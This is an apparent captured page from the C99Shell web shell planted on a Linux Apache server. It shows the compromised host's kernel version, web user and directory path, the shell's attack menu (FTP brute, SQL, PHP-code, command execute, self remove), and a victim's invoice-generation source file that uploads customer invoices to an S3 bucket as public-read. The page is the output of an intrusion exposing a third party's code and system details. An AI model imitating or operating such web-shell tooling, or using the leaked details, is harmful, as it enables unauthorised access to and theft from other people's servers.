!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/aws_s3/src/models/   drwxr-xr-x
Free 13.28 GB of 57.97 GB (22.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     invoiceModel.js (1.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import { PutObjectCommand } from "@aws-sdk/client-s3";
import { s3Client } from "../config/s3Client.js";
import { chromium } from "playwright";

// S3 Upload Function
export const insertIntoS3 = async (bucketParams) => {
  try {
    const data = await s3Client.send(new PutObjectCommand(bucketParams));
    console.log(`Successfully uploaded: ${bucketParams.Bucket}/${bucketParams.Key}`);
    return data;
  } catch (err) {
    console.error("S3 Upload Error:", err.message);
    return "error";
  }
};

// Generate Invoice (Screenshot + PDF)
export const generateInvoice = async (folder_name, invoice_no, sale_id) => {
  try {
    const browser = await chromium.launch({
      executablePath: "/usr/bin/chromium-browser",
    });

    const page = await browser.newPage();
    await page.goto(`https://jiff.businesscloud.xyz/jiff_dashboard/generate-pdf/${sale_id}`, {
      waitUntil: "networkidle",
    });

    const image_file = await page.screenshot({ fullPage: true });
    const pdf_file = await page.pdf({ format: "a4" });

    await browser.close();

    // Upload PDF
    await insertIntoS3({
      Bucket: "jiffp",
      Key: `${folder_name}/invoice/pdf/${invoice_no}.pdf`,
      Body: pdf_file,
      ContentType: "application/pdf",
      ACL: "public-read",
    });

    // Upload Image
    await insertIntoS3({
      Bucket: "jiffp",
      Key: `${folder_name}/invoice/images/${invoice_no}.webp`,
      Body: image_file,
      ContentType: "image/png",
      ACL: "public-read",
    });

    return "success";
  } catch (error) {
    console.error("Invoice Generation Error:", error.message);
    return "error";
  }
};

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--